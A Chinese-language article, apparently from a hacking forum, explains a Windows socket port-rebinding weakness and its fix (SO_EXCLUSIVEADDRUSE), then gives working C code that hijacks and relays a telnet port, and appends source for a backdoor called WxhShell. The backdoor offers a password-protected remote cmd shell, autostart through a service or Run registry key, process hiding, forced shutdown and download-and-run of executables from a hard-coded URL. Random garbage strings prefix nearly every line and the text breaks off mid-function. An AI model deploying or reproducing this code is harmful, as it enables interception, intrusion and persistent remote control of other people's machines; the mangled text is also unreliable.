在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
XY[uyR4Z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]UR@V;JG
]-Z="YPY saddr.sin_family = AF_INET;
a=<l}`* n o*p`a
* saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Iv6(Z>pAB *C~O[:6D bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
YQyf:xJ RT2%)5s 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
O@@=ZyYwc X>Cl{. 这意味着什么?意味着可以进行如下的攻击:
jG"n);WF CNCWxu 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`K.2&6xc k_p4 f %9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
('q u#.' O1+2Z\F 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
|K(j}^1k zJnF#G 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:zXkQQD8` >wiW(Ki} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
}<y-`WB Ccmo(W+0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
c2aX_ " Gj6(ycaS 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
(E v/R%Z R;2tb7 o #include
(Sr D #include
P4xQ:$2! #include
:x*|?zII #include
M_wqb'= DWORD WINAPI ClientThread(LPVOID lpParam);
K:PPZ| int main()
gO kq>i_ {
g4(vgWOW` WORD wVersionRequested;
a}~Xns DWORD ret;
][b_l(r$? WSADATA wsaData;
DH(Qmd BOOL val;
fAHK<G4 SOCKADDR_IN saddr;
u{F^Ngy
) SOCKADDR_IN scaddr;
XH_XGzBQS int err;
dd+[FU SOCKET s;
DA)mkp SOCKET sc;
OF^:_%c/ int caddsize;
7X\azL HANDLE mt;
5^"T`,${ DWORD tid;
II!Nr{A wVersionRequested = MAKEWORD( 2, 2 );
/s91[n(d err = WSAStartup( wVersionRequested, &wsaData );
T~shJ0% if ( err != 0 ) {
GtQ$`~r printf("error!WSAStartup failed!\n");
Vo@[ return -1;
Y7QIFY's~ }
RQzcsO saddr.sin_family = AF_INET;
QLx]%E\ 9|Z25_sS //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
wB(A['k k)VoDxMKK saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
@lo6?9oNo saddr.sin_port = htons(23);
$vlc@]~d`& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&X0qH8W {
4wLp printf("error!socket failed!\n");
<k2Qcicy return -1;
oz!;sj{,D }
?k$3( - val = TRUE;
QfI= //SO_REUSEADDR选项就是可以实现端口重绑定的
<t9#~x#'b if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
q&.SB` {
yqdhLX|Mk printf("error!setsockopt failed!\n");
< *
)u\A return -1;
IuJj;L1 }
_x<CTFTL //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
/\=syl //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
X@$x(Zc //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
}@-4*5P3 AL #w if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
>P7|-bV {
0E9LZOw4T ret=GetLastError();
H-gq0+,yE printf("error!bind failed!\n");
S`yY<1[O return -1;
^rd]qii" }
aBX^Wd listen(s,2);
ulM6R/V:? while(1)
O=wA/T=w? {
a0y7a/@c caddsize = sizeof(scaddr);
^P&)2m:s //接受连接请求
ocwh*t)<k sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Xne{:!btw if(sc!=INVALID_SOCKET)
,(0q {
p9*#{~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
!b<c*J?f if(mt==NULL)
j(Tt-a("z {
s_} 1J,Y printf("Thread Creat Failed!\n");
86J7%;^Xa break;
IaDc hI }
T7E9l }
4u;db_gX CloseHandle(mt);
2+pLDIIT }
V!=1 !"}OG closesocket(s);
9o7E/wP WSACleanup();
g0@i[&A@{ return 0;
/p|]*={ }
Z/=x(I0 DWORD WINAPI ClientThread(LPVOID lpParam)
k8E'wN {
]m0MbA SOCKET ss = (SOCKET)lpParam;
$Bd{Y"P@6 SOCKET sc;
ax7]>Z=%d" unsigned char buf[4096];
\D8d!gr SOCKADDR_IN saddr;
T9enyYt% long num;
R3;GMe@D# DWORD val;
.Y.\D\>~ DWORD ret;
2lw0' //如果是隐藏端口应用的话,可以在此处加一些判断
;kO
Op@e //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/M>8ad saddr.sin_family = AF_INET;
(Sc]dH saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
z@hlN3dg saddr.sin_port = htons(23);
LO8V*H( if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Bfw]#"N` {
>U @7xeK printf("error!socket failed!\n");
r5::c= Cl return -1;
@A(*&PU>j }
l%h0x*?$ val = 100;
(hTe53d<S? if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
pQc5'*FKd {
e=KA|"vxh ret = GetLastError();
<TmMUA)`} return -1;
VZNMom,Wr }
T1ZAw'6(K
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
ffo{4er {
\gferWm ret = GetLastError();
.L'>1H]B return -1;
OgjSyzc }
xcfEL_'o if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
xMI4*4y( {
WXP=U^5Si printf("error!socket connect failed!\n");
d*ch.((- closesocket(sc);
]v7f9MC'\ closesocket(ss);
_+%RbJ~H return -1;
*"#62U6 }
#N\kMJl$l while(1)
HgJ:R f] {
t-gg,ttnA //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
l@vau pg //如果是嗅探内容的话,可以再此处进行内容分析和记录
xwG=&+66 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
?qwTOi num = recv(ss,buf,4096,0);
s-]k 7a2V if(num>0)
/Y("Q#Ueq send(sc,buf,num,0);
+$M%"=tk else if(num==0)
! 9B| ` break;
T% J;~| num = recv(sc,buf,4096,0);
Vrl)[st!;I if(num>0)
*Iv.W7 [ send(ss,buf,num,0);
:X-Z|Pv8 else if(num==0)
](yw2c;me break;
^Nl)ocHv! }
*x3";%o closesocket(ss);
F/z$jj) closesocket(sc);
|UvM[A|+ return 0 ;
B,?Fjot#m }
EMME?OW$ WoGK05w c%-s_8zvi ==========================================================
K8CjZpzq ^mr#t #[e 下边附上一个代码,,WXhSHELL
'
O1X+ e6n1/TtqM ==========================================================
AA&398F jT/SZ|S #include "stdafx.h"
b6%T[B B nHxos`Qx #include <stdio.h>
~#3h-|]* #include <string.h>
Am=D kkP% #include <windows.h>
'^pA%I2D #include <winsock2.h>
Bs2.$~ #include <winsvc.h>
<1#v}epD# #include <urlmon.h>
Ezw(J[).C HPVW2Y0_N #pragma comment (lib, "Ws2_32.lib")
udxLHs #pragma comment (lib, "urlmon.lib")
1;E[Ml `M?C( #define MAX_USER 100 // 最大客户端连接数
]eA< #define BUF_SOCK 200 // sock buffer
p-n_
">7 #define KEY_BUFF 255 // 输入 buffer
DueQ1+ P J5Rr7=:*S #define REBOOT 0 // 重启
DArEIt6Q #define SHUTDOWN 1 // 关机
IE*GF27n ]UyIp`nV; #define DEF_PORT 5000 // 监听端口
A[L+w9 UEmNT9V #define REG_LEN 16 // 注册表键长度
:_v/a+\n #define SVC_LEN 80 // NT服务名长度
PZ2$ [s0W <]I[|4J 7 // 从dll定义API
)2T?Z)"hO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
=&?}qa(P typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
H|>dF)%pj typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
F[/Bp>P7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Ys,}L. ^yDCX // wxhshell配置信息
tK)E*! struct WSCFG {
{`fhcEC int ws_port; // 监听端口
vUBkoC2Q char ws_passstr[REG_LEN]; // 口令
oeKI9p13\ int ws_autoins; // 安装标记, 1=yes 0=no
n,sl|hv2U char ws_regname[REG_LEN]; // 注册表键名
=KJK'1m9 char ws_svcname[REG_LEN]; // 服务名
^G'8!!ys char ws_svcdisp[SVC_LEN]; // 服务显示名
!fF1tW char ws_svcdesc[SVC_LEN]; // 服务描述信息
I12WOL q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
ws9F~LmLbr int ws_downexe; // 下载执行标记, 1=yes 0=no
*IWO ,! char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
N}x\Ll char ws_filenam[SVC_LEN]; // 下载后保存的文件名
u
)+;(Vd FNlzpCT~L };
yiyyw,iy +^$FA4<~ // default Wxhshell configuration
$
hwJjSZ0 struct WSCFG wscfg={DEF_PORT,
?2hoY "xuhuanlingzhe",
[/uqH 1,
bnBnE[y<' "Wxhshell",
FyYD7E "Wxhshell",
7eb^^a? "WxhShell Service",
HN,E+dQ "Wrsky Windows CmdShell Service",
88~BE ^ "Please Input Your Password: ",
B$A`- 1,
9?<WRM3a> "
http://www.wrsky.com/wxhshell.exe",
vk\a>}; "Wxhshell.exe"
r@L19d)J };
hX4&B jSVIO v: // 消息定义模块
TJ9JIxnS char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
fiA_6 char *msg_ws_prompt="\n\r? for help\n\r#>";
6jjmrc[#}X char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4Z>KrFO char *msg_ws_ext="\n\rExit.";
UD1R_bL} char *msg_ws_end="\n\rQuit.";
5]yQMY\2) char *msg_ws_boot="\n\rReboot...";
yVd}1bX char *msg_ws_poff="\n\rShutdown...";
.G#wXsJj char *msg_ws_down="\n\rSave to ";
''P.~~ezr5 (xw) pR char *msg_ws_err="\n\rErr!";
+{Yd\{9 char *msg_ws_ok="\n\rOK!";
CDcZ6.f ?)<DEu:Y char ExeFile[MAX_PATH];
!-1UJqO int nUser = 0;
Sw HrHj HANDLE handles[MAX_USER];
urmx})= int OsIsNt;
9^ITP!~e* 4'JuK{/ A7 SERVICE_STATUS serviceStatus;
dLl/V3C6t SERVICE_STATUS_HANDLE hServiceStatusHandle;
rhU]b $A xgV.<^ // 函数声明
A?[06R5E# int Install(void);
%9ef[,WT int Uninstall(void);
u|prVzm\m int DownloadFile(char *sURL, SOCKET wsh);
*aF#on{ int Boot(int flag);
?,8|K B void HideProc(void);
RGd@3OjN int GetOsVer(void);
k?-GI[@X int Wxhshell(SOCKET wsl);
2LS03 27 void TalkWithClient(void *cs);
nojJGeW% int CmdShell(SOCKET sock);
apsR26\^ int StartFromService(void);
SSH ))zJ int StartWxhshell(LPSTR lpCmdLine);
Wj0=cIb ,e\'Y!' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
c*LB=;npI VOID WINAPI NTServiceHandler( DWORD fdwControl );
o%dKi]
~Dvxe // 数据结构和表定义
1#rcxUSi SERVICE_TABLE_ENTRY DispatchTable[] =
tKtKW5n~ {
R5PXX&Q {wscfg.ws_svcname, NTServiceMain},
j>f {NULL, NULL}
8 w-2Q };
2JY]$$K7 ~,j52obR6Z // 自我安装
hKa<9>MI` int Install(void)
G Y? ?q8 {
zJC!MeN char svExeFile[MAX_PATH];
PvW {g5)S HKEY key;
J_PAWW strcpy(svExeFile,ExeFile);
HLMcOuj d.wu // 如果是win9x系统,修改注册表设为自启动
Wp7lDx if(!OsIsNt) {
xz!b@5DR'% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ZBw]H'sT RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
zx<:1nF,] RegCloseKey(key);
) -yJKmV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
\VQv
"wid RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-*`7Q'}% RegCloseKey(key);
lG[@s 'j return 0;
+f h@m
h0[ }
$;GH
-+ }
K&T[F! }
|"}F cS
y else {
pxf(C<y6_ rw:z|-r // 如果是NT以上系统,安装为系统服务
>9-$E?Mt SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
..FEyf if (schSCManager!=0)
Ka\ha {
uJxT)m!/ SC_HANDLE schService = CreateService
An0DqjR (
h2k"iO} schSCManager,
^,-2";2Xh wscfg.ws_svcname,
,"6Bw|s wscfg.ws_svcdisp,
Oy(fh%k# SERVICE_ALL_ACCESS,
=@e3I)D#?i SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
/\7E&n:)2 SERVICE_AUTO_START,
Nuc;Y SERVICE_ERROR_NORMAL,
&A/k{(.XP svExeFile,
d_7v 1)j NULL,
>:C0ZQUW NULL,
I
68Y4s NULL,
]1Wh3C NULL,
{J&[JA\ NULL
sej$$m R );
z D "n7; if (schService!=0)
ww? AGd {
RpmOg
CloseServiceHandle(schService);
_%R]TlL CloseServiceHandle(schSCManager);
"O}u2B b strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
pY~/<lzW strcat(svExeFile,wscfg.ws_svcname);
`[)!4Jb if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
*F:)S"3_~e RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"26=@Q^Y RegCloseKey(key);
Uf}u`"$F return 0;
_O,k0O
}
{sOW DM5 }
'w$jVX/ CloseServiceHandle(schSCManager);
5^5hhm4 }
Svicw`uX0 }
3<
'bi}{ <u_vL
WS return 1;
wU}%]FqtZ= }
/:Q e,K.bgi // 自我卸载
{*PbD;/f int Uninstall(void)
B?nw([4m {
"@^^niSFl HKEY key;
8a8CY,n{ 0$g;O5y"i if(!OsIsNt) {
;Yve m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vojXo|c RegDeleteValue(key,wscfg.ws_regname);
|[_%zV;p>v RegCloseKey(key);
dW5@Z-9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
=]fOQN` RegDeleteValue(key,wscfg.ws_regname);
%dwI;%0 RegCloseKey(key);
s-801JpiJ return 0;
PcQ\o>0") }
JHXtKgFX }
ZLZh$eZZ }
yZV Y3<] else {
/O}lSXo6E XiMd|D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
at+Nd K if (schSCManager!=0)
]~:WGo=_ {
KvH t`
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
0N87G}Xu if (schService!=0)
.% 79(r^ {
2Krh& if(DeleteService(schService)!=0) {
` 7P%muY. CloseServiceHandle(schService);
7n)ob![\d CloseServiceHandle(schSCManager);
U4NH9-U' return 0;
}nRTw2-z }
[XhG7Ly CloseServiceHandle(schService);
5gSe=|we*p }
G1a56TIN~ CloseServiceHandle(schSCManager);
cE^Ljk }
hTQ8y10a }
x=03WQ8 &. MUSqo9 return 1;
^4Uk'T7V }
;efF]") QM24cm
T // 从指定url下载文件
!CdF,pd/)m int DownloadFile(char *sURL, SOCKET wsh)
pr[V*C/ {
]$BC f4: HRESULT hr;
!>#gm7 char seps[]= "/";
;@*<M\O char *token;
>K<cc#Aa char *file;
V aoqI char myURL[MAX_PATH];
mT/^F{c char myFILE[MAX_PATH];
qe5;Pq !G "rrw~ strcpy(myURL,sURL);
{"2Hv;x token=strtok(myURL,seps);
Y!`pF while(token!=NULL)
DX^8w?t {
K 6yD64 file=token;
Ng2Z7k token=strtok(NULL,seps);
!"ir}Y% }
/
*/"gz% g~2=he\C GetCurrentDirectory(MAX_PATH,myFILE);
3 Q~0b+k strcat(myFILE, "\\");
=w3 cF)& strcat(myFILE, file);
29l bOi send(wsh,myFILE,strlen(myFILE),0);
WL|<xNL send(wsh,"...",3,0);
T[I7.8g hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[Op^l%BC if(hr==S_OK)
3mHP=) return 0;
H&
$M/` else
qnb/zr)p return 1;
KG4zjQf :*/g~y(fE }
wA"d?x ^oYRBEIJH // 系统电源模块
E`.:V<KW/ int Boot(int flag)
3<l}gB'S[ {
~xv3R HANDLE hToken;
g{
;OgS3> TOKEN_PRIVILEGES tkp;
|&@`~OBa da~_(giD* if(OsIsNt) {
F vTswM> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
,xR u74 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
5i}g$yjZ< tkp.PrivilegeCount = 1;
lWH#/5`h tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
{>PEl;,- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
yeMe2Zx if(flag==REBOOT) {
E3(o}O if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
>Q'*~S@v3 return 0;
NcHU) }
H!6+x*P0 else {
8_ascvs5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
K}MlC}oIt return 0;
P_b!^sq9 }
W9oWj7&h }
&*E! %57 else {
2.=G if(flag==REBOOT) {
HO_(it \ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(74y2U6 return 0;
k7{|\w% }
Pd& Npp3 else {
f`*VNB` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
K<r5jb return 0;
{;th~[ }
Sk C.A? }
!G6h~`[ ,jtaTG.> return 1;
`8tstWYa]Y }
'/OQ[f=K /2hRLyeAZ // win9x进程隐藏模块
)m[<lJbw void HideProc(void)
e2K9CE.O {
7
, _b !! )W` HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
FzP1b_i if ( hKernel != NULL )
)y Zr] {
(2QfH$HEk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
gHkHAOe/ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
=F Y2O`%a FreeLibrary(hKernel);
_<DOA:'v }
{]Cn@.TPD -'L~Y~'. return;
4eG\>#5 }
|W$|og'wC *9w-eK1{ // 获取操作系统版本
^E Rdf2 int GetOsVer(void)
_%Ua8bR$ {
6$f\#TR OSVERSIONINFO winfo;
jN'h/\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Cz$q"U GetVersionEx(&winfo);
B"\9sl X if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
](8F]J , return 1;
F
u^j- Io else
[~RO9=;L return 0;
e=s85! }
(i1x< w)RedJnf // 客户端句柄模块
,!GoFu int Wxhshell(SOCKET wsl)
#$W0%7 {
fH?A.JP=a SOCKET wsh;
D/ sYH0.V$ struct sockaddr_in client;
XGbpH< DWORD myID;
}
XhL`% VCiq'LOR,< while(nUser<MAX_USER)
^,t@HN;gA {
/988K-5k int nSize=sizeof(client);
n f<I wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
*RVCz|0%w if(wsh==INVALID_SOCKET) return 1;
U6*[}Ww V/#J>-os}W handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
`?WN*__[" if(handles[nUser]==0)
}{=}^c"t' closesocket(wsh);
Eu"8IM!%- else
s :BW}PM nUser++;
n-],!pL^ }
zS|4@t\__ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
JC->
eY"O2 C& XPn;f return 0;
&Xh> w(u }
}Y BuS3{ jb,a>9]p // 关闭 socket
vM!2?8bEFd void CloseIt(SOCKET wsh)
s]0 J'UN {
`H>&dK|/ closesocket(wsh);
}7b{ZbDI nUser--;
g-_=$#&{ ExitThread(0);
1%R${Qhr }
XTk
:lzFH +!px+*)bW // 客户端请求句柄
"v`q%(TA void TalkWithClient(void *cs)
*i#N50k*j' {
-64;P9:A> $ta JVVF SOCKET wsh=(SOCKET)cs;
vE8'B^h1 char pwd[SVC_LEN];
;<''oY char cmd[KEY_BUFF];
yufw}Lo- char chr[1];
.d[^&<^ int i,j;
K@%T5M4j %mU$]^Tw( while (nUser < MAX_USER) {
#W|Obc]K NIQ}+xpC if(wscfg.ws_passstr) {
x|Pz24yP9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
E<u(Yw6= //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9+@z:j //ZeroMemory(pwd,KEY_BUFF);
&v1E)/q{Z i=0;
D]aQt%TL while(i<SVC_LEN) {
hEZo{0:b" bpU>(j // 设置超时
~vA8I#. fd_set FdRead;
@M-Q| struct timeval TimeOut;
"nfi:A1 FD_ZERO(&FdRead);
>R6mI FD_SET(wsh,&FdRead);
LEtGrA/%@b TimeOut.tv_sec=8;
^z{Xd|{" TimeOut.tv_usec=0;
&Z!y>k%6 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
qN' 3{jiPL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
ni2 [K` v@SHR0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
y4|<+9<7 pwd
=chr[0]; QJVB:>A
if(chr[0]==0xd || chr[0]==0xa) { `uk=2k}&m
pwd=0; }Rh%bf7,
break; 8d8jUPFQ
} R2{]R&wtn0
i++; $8 &Y(`
} YIZu{
lc~c=17
// 如果是非法用户,关闭 socket 4VeT]`C^h
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b&4JHyleF
} 40`Qsv0#
jck(cc=R
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V6_":L"!
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \4j_K*V
YqWNp
while(1) { 0g=vMLi
kb"Fw:0
ZeroMemory(cmd,KEY_BUFF); GhcH"D%-
|Rx+2`6Dp
// 自动支持客户端 telnet标准 W)]&G}U<
j=0; =?+w5oI0
while(j<KEY_BUFF) { q&&"8.w-
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h`O$L_Z
cmd[j]=chr[0]; gpzFY"MS=
if(chr[0]==0xa || chr[0]==0xd) { ZlE=P4`X:
cmd[j]=0; 5Rw2/J
L
break; s 72yu}
} 6|n3Q$p
j++; KQ6][2-
} 3*j1v:x`
m8F
\ESL
// 下载文件 {E)tzBI;^
if(strstr(cmd,"http://")) { RL]$"
send(wsh,msg_ws_down,strlen(msg_ws_down),0); +lFBH(o]X
if(DownloadFile(cmd,wsh)) bf1$:09
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IDqUiN
else XUR#|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O0BDUpH
} Q hRj*,
else { qM 1ZCt
IUh9skW5
switch(cmd[0]) { )g
$T%
4, Vx3QFZ
// 帮助 +jq@!P"}d
case '?': { +Lc+"0*gV*
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?5lO1(
break; vlDA/( &
} (;9fkqm%m
// 安装 ]{{%d4
case 'i': { Xq37:E2
if(Install()) >,k2|m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); UL&>]aQ
else H|j]uLZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n4XkhY|
break; =c#mR" 1
} mAIl)mq|g
// 卸载 +gBDE:
case 'r': { i88`W&tI{
if(Uninstall()) .),9a,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7T!t*sSO'
else %'=TYvB 2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oo(xYy
break; nDckT+eJ
} GuL0:,
// 显示 wxhshell 所在路径 GvA4.s,
case 'p': { <.BY=z=H
char svExeFile[MAX_PATH]; A93(} V7I
strcpy(svExeFile,"\n\r"); :(3'"^_NA
strcat(svExeFile,ExeFile); g?}h*~<b
send(wsh,svExeFile,strlen(svExeFile),0); Vz!{nL0Q(
break; 9T`YHA'g
} rXTdhw?+
// 重启 UN;U+5,t
case 'b': { U%VFr#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); xZV|QVY;
if(Boot(REBOOT)) 0CX9tr2J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $}YN`:{
else { "8(8]GgYx
closesocket(wsh); Kh&a# ~c
ExitThread(0); NP~3!b
} ~e){2_J&n
break; XC/M:2$
} 56NDU>j$
// 关机 l}g_<
case 'd': { NW21{}=4
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^tjM1uaZ5(
if(Boot(SHUTDOWN)) += gU`<\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y=SpIbn{
else { V{qR/
closesocket(wsh); irB}h!@
ExitThread(0); `VglE?M
} $Nj'_G\}
break; ;'<SsI
} iy_3#x5>
// 获取shell $O\]cQD`u
case 's': { HGj[\kU~
CmdShell(wsh); W7 T2j+]
closesocket(wsh); *;T HD>
ExitThread(0); }Q,BI*}*
break; v:9Vp{)
} H3ob
8+J
// 退出 T^X um2Ec
case 'x': { }~<9*M-P
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :pP l|"
CloseIt(wsh); s=#[>^?
break; D r6u0rx8
} _C$SaQty[Q
// 离开 hN;$'%^
case 'q': { 6ZGw 3p)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !T]bz+
closesocket(wsh); XJ7mvLM;
WSACleanup(); Rd1I$| Y
exit(1); K!!#";Eo
break; sbFA{l3
} *{e,< DV
} j5 W)9HW:
} Novn#0a
CX>QP&Gj
// 提示信息 `ItPTSOi
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E-$N!KY
} r5!Sps3B
} Ar[$%
0
|Rmb
return; 59a7%w
} >=L<3W1
I h 19&D
// shell模块句柄 m' L8z
fX
int CmdShell(SOCKET sock) {UOR_Vt!*
{ 3Et t9fBd
STARTUPINFO si; f9b[0L
ZeroMemory(&si,sizeof(si)); V#d8fRm
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +{{'3=x9
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?_G?SQ
PROCESS_INFORMATION ProcessInfo; FZJ sZeO
char cmdline[]="cmd"; l Gy`{E|
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .h>tef
return 0; <0^L L
} w 8oIq*
&^b mZj!
// 自身启动模式 `F' >NNY
int StartFromService(void) Zd[6-/-:
{ J~1=?</
typedef struct PQ`~qM:3st
{ Eza B}BLQ9
DWORD ExitStatus; dIRSgJ`
DWORD PebBaseAddress; +Zo&c}
DWORD AffinityMask; ){ ,v&[
DWORD BasePriority; $_0~Jzt,
ULONG UniqueProcessId; $+Vp>
